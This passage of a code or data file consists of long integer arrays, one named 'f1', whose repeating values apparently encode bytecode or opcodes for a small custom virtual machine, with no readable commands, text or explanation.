0,19, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 9, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 31, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 70, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 74, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,31, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 10, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 18, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 5, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 3, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,20, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 20, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 9, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 5, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 8, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,15, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 1, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 7, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 10, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,0, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 14, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 18, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,70, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 20, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 17, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 21, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,8, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 7, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 70, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 19, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 9, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,31, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 0, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 47, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,247, 0, 0, 0, 248, 0, 0, 0, 243, 0,0, 0, 17, 0, 0, 0, 247, 0, 0, 0,248, 0, 0, 0, 243, 0, 0, 0, 17, 0,0, 0, 247, 0, 0, 0, 248, 0, 0, 0,243, 0, 0, 0, 17, 0, 0, 0, 247, 0,0, 0, 248, 0, 0, 0, 243, 0, 0, 0,17, 0, 0, 0, 247, 0, 0, 0, 248, 0,0, 0, 243, 0, 0, 0, 17, 0, 0, 0,16, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 247, 0, 0, 0, 244, 0, 0, 0,77, 105, 78, 105, 1, 0, 0, 0, 76, 45,99, 116, 244, 0, 0, 0, 0, 0, 0, 0,243, 0, 0, 0, 242, 0, 0, 0, 15, 68,45, 29, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 22, 0, 0, 0,1, 0, 0, 0, 33, 0, 0, 0, 244, 0,0, 0, 20, 69, 17, 0, 243, 0, 0, 0,242, 0, 0, 0, 80, 114, 116, 116, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 33, 0, 0, 0, 1, 0, 0, 0,44, 0, 0, 0, 244, 0, 0, 0, 40, 138,34, 0, 243, 0, 0, 0, 242, 0, 0, 0,77, 138, 34, 0, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 44, 0,0, 0, 1, 0, 0, 0, 11, 0, 0, 0,244, 0, 0, 0, 60, 207, 51, 0, 243, 0,0, 0, 242, 0, 0, 0, 170, 207, 51, 0,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 11, 0, 0, 0, 1, 0,0, 0, 22, 0, 0, 0, 244, 0, 0, 0,80, 20, 69, 0, 243, 0, 0, 0, 242, 0,0, 0, 203, 20, 69, 0, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,22, 0, 0, 0, 1, 0, 0, 0, 33, 0,0, 0, 244, 0, 0, 0, 100, 89, 86, 0,243, 0, 0, 0, 242, 0, 0, 0, 102, 89,86, 0, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 33, 0, 0, 0,1, 0, 0, 0, 44, 0, 0, 0, 244, 0,0, 0, 120, 158, 103, 0, 243, 0, 0, 0,242, 0, 0, 0, 188, 159, 103, 0, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 44, 0, 0, 0, 1, 0, 0, 0,11, 0, 0, 0, 244, 0, 0, 0, 140, 227,120, 0, 243, 0, 0, 0, 242, 0, 0, 0,204, 228, 120, 0, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 11, 0,0, 0, 1, 0, 0, 0, 22, 0, 0, 0,244, 0, 0, 0, 160, 40, 138, 0, 243, 0,0, 0, 242, 0, 0, 0, 73, 41, 138, 0,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 22, 0, 0, 0, 1, 0,0, 0, 33, 0, 0, 0, 244, 0, 0, 0,180, 109, 155, 0, 243, 0, 0, 0, 242, 0,0, 0, 200, 110, 155, 0, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,33, 0, 0, 0, 1, 0, 0, 0, 44, 0,0, 0, 244, 0, 0, 0, 200, 178, 172, 0,243, 0, 0, 0, 242, 0, 0, 0, 224, 179,172, 0, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 44, 0, 0, 0,1, 0, 0, 0, 11, 0, 0, 0, 244, 0,0, 0, 220, 247, 189, 0, 243, 0, 0, 0,242, 0, 0, 0, 246, 248, 189, 0, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 11, 0, 0, 0, 1, 0, 0, 0,22, 0, 0, 0, 244, 0, 0, 0, 240, 60,207, 0, 243, 0, 0, 0, 242, 0, 0, 0,34, 61, 207, 0, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 22, 0,0, 0, 1, 0, 0, 0, 33, 0, 0, 0,244, 0, 0, 0, 4, 130, 224, 0, 243, 0,0, 0, 242, 0, 0, 0, 235, 130, 224, 0,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 33, 0, 0, 0, 1, 0,0, 0, 44, 0, 0, 0, 244, 0, 0, 0,24, 199, 241, 0, 243, 0, 0, 0, 242, 0,0, 0, 69, 199, 241, 0, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,44, 0, 0, 0, 1, 0, 0, 0, 11, 0,0, 0, 244, 0, 0, 0, 44, 12, 3, 1,243, 0, 0, 0, 242, 0, 0, 0, 156, 12,3, 1, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 11, 0, 0, 0,1, 0, 0, 0, 22, 0, 0, 0, 244, 0,0, 0, 64, 81, 20, 1, 243, 0, 0, 0,242, 0, 0, 0, 142, 81, 20, 1, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 22, 0, 0, 0, 1, 0, 0, 0,33, 0, 0, 0, 244, 0, 0, 0, 84, 150,37, 1, 243, 0, 0, 0, 242, 0, 0, 0,52, 150, 37, 1, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 33, 0,0, 0, 1, 0, 0, 0, 44, 0, 0, 0,244, 0, 0, 0, 104, 219, 54, 1, 243, 0,0, 0, 242, 0, 0, 0, 156, 220, 54, 1,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 44, 0, 0, 0, 1, 0,0, 0, 11, 0, 0, 0, 244, 0, 0, 0,124, 32, 72, 1, 243, 0, 0, 0, 242, 0,0, 0, 125, 33, 72, 1, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,11, 0, 0, 0, 1, 0, 0, 0, 22, 0,0, 0, 244, 0, 0, 0, 144, 101, 89, 1,243, 0, 0, 0, 242, 0, 0, 0, 174, 101,89, 1, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 22, 0, 0, 0,1, 0, 0, 0, 33, 0, 0, 0, 244, 0,0, 0, 164, 170, 106, 1, 243, 0, 0, 0,242, 0, 0, 0, 184, 171, 106, 1, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 33, 0, 0, 0, 1, 0, 0, 0,44, 0, 0, 0, 244, 0, 0, 0, 184, 239,123, 1, 243, 0, 0, 0, 242, 0, 0, 0,47, 240, 123, 1, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 44, 0,0, 0, 1, 0, 0, 0, 11, 0, 0, 0,244, 0, 0, 0, 204, 52, 141, 1, 243, 0,0, 0, 242, 0, 0, 0, 42, 53, 141, 1,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 11, 0, 0, 0, 1, 0,0, 0, 22, 0, 0, 0, 244, 0, 0, 0,224, 121, 158, 1, 243, 0, 0, 0, 242, 0,0, 0, 231, 122, 158, 1, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,22, 0, 0, 0, 1, 0, 0, 0, 33, 0,0, 0, 244, 0, 0, 0, 244, 190, 175, 1,243, 0, 0, 0, 242, 0, 0, 0, 25, 191,175, 1, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 33, 0, 0, 0,1, 0, 0, 0, 44, 0, 0, 0, 244, 0,0, 0, 8, 4, 193, 1, 243, 0, 0, 0,242, 0, 0, 0, 60, 4, 193, 1, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 44, 0, 0, 0, 1, 0, 0, 0,11, 0, 0, 0, 244, 0, 0, 0, 28, 73,210, 1, 243, 0, 0, 0, 242, 0, 0, 0,164, 73, 210, 1, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 11, 0,0, 0, 1, 0, 0, 0, 22, 0, 0, 0,244, 0, 0, 0, 48, 142, 227, 1, 243, 0,0, 0, 242, 0, 0, 0, 62, 142, 227, 1,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 22, 0, 0, 0, 1, 0,0, 0, 33, 0, 0, 0, 244, 0, 0, 0,68, 211, 244, 1, 243, 0, 0, 0, 242, 0,0, 0, 176, 211, 244, 1, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,33, 0, 0, 0, 1, 0, 0, 0, 44, 0,0, 0, 244, 0, 0, 0, 88, 24, 6, 2,243, 0, 0, 0, 242, 0, 0, 0, 83, 24,6, 2, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 44, 0, 0, 0,1, 0, 0, 0, 11, 0, 0, 0, 244, 0,0, 0, 108, 93, 23, 2, 243, 0, 0, 0,242, 0, 0, 0, 118, 94, 23, 2, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 11, 0, 0, 0, 1, 0, 0, 0,22, 0, 0, 0, 244, 0, 0, 0, 128, 162,40, 2, 243, 0, 0, 0, 242, 0, 0, 0,65, 162, 40, 2, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 22, 0,0, 0, 1, 0, 0, 0, 33, 0, 0, 0,244, 0, 0, 0, 148, 231, 57, 2, 243, 0,0, 0, 242, 0, 0, 0, 102, 232, 57, 2,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 33, 0, 0, 0, 1, 0,0, 0, 44, 0, 0, 0, 244, 0, 0, 0,168, 44, 75, 2, 243, 0, 0, 0, 242, 0,0, 0, 129, 45, 75, 2, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,44, 0, 0, 0, 1, 0, 0, 0, 11, 0,0, 0, 244, 0, 0, 0, 188, 113, 92, 2,243, 0, 0, 0, 242, 0, 0, 0, 240, 114,92, 2, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 11, 0, 0, 0,1, 0, 0, 0, 22, 0, 0, 0, 244, 0,0, 0, 208, 182, 109, 2, 243, 0, 0, 0,242, 0, 0, 0, 56, 183, 109, 2, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 22, 0, 0, 0, 1, 0, 0, 0,33, 0, 0, 0, 244, 0, 0, 0, 228, 251,126, 2, 243, 0, 0, 0, 242, 0, 0, 0,252, 252, 126, 2, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 33, 0,0, 0, 1, 0, 0, 0, 44, 0, 0, 0,244, 0, 0, 0, 248, 64, 144, 2, 243, 0,0, 0, 242, 0, 0, 0, 241, 65, 144, 2,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 16, 0, 0, 0, 248, 0, 0, 0,244, 0, 0, 0, 44, 0, 0, 0, 1, 0,0, 0, 11, 0, 0, 0, 244, 0, 0, 0,12, 134, 161, 2, 243, 0, 0, 0, 242, 0,0, 0, 231, 134, 161, 2, 254, 0, 0, 0,102, 0, 0, 0, 240, 0, 0, 0, 16, 0,0, 0, 248, 0, 0, 0, 244, 0, 0, 0,11, 0, 0, 0, 1, 0, 0, 0, 22, 0,0, 0, 244, 0, 0, 0, 32, 203, 178, 2,243, 0, 0, 0, 242, 0, 0, 0, 227, 203,178, 2, 254, 0, 0, 0, 102, 0, 0, 0,240, 0, 0, 0, 16, 0, 0, 0, 248, 0,0, 0, 244, 0, 0, 0, 22, 0, 0, 0,1, 0, 0, 0, 33, 0, 0, 0, 244, 0,0, 0, 52, 16, 196, 2, 243, 0, 0, 0,242, 0, 0, 0, 93, 16, 196, 2, 254, 0,0, 0, 102, 0, 0, 0, 240, 0, 0, 0,16, 0, 0, 0, 248, 0, 0, 0, 244, 0,0, 0, 33, 0, 0, 0, 1, 0, 0, 0,44, 0, 0, 0, 244, 0, 0, 0, 72, 85,213, 2, 243, 0, 0, 0, 242, 0, 0, 0,149, 85, 213, 2, 254, 0, 0, 0, 102, 0,0, 0, 240, 0, 0, 0, 16, 0, 0, 0,248, 0, 0, 0, 244, 0, 0, 0, 44, 0,0, 0, 1, 0, 0, 0, 11, 0, 0, 0,244, 0, 0, 0, 92, 154, 230, 2, 243, 0,0, 0, 242, 0, 0, 0, 123, 154, 230, 2,254, 0, 0, 0, 102, 0, 0, 0, 240, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0,]
f1 = [246, 0, 0, 0, 108, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,71, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 13, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 5, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 19, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 10, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,70, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 2, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 9, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 9, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 1, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,74, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 21, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 18, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 19, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,8, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 15, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 11, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 70, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 3, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,3, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 20, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 14, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 18, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 70, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,20, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 9, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 0, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 70, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 2, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,3, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 21, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 21, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 3, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 20, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,22, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 2, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 20, 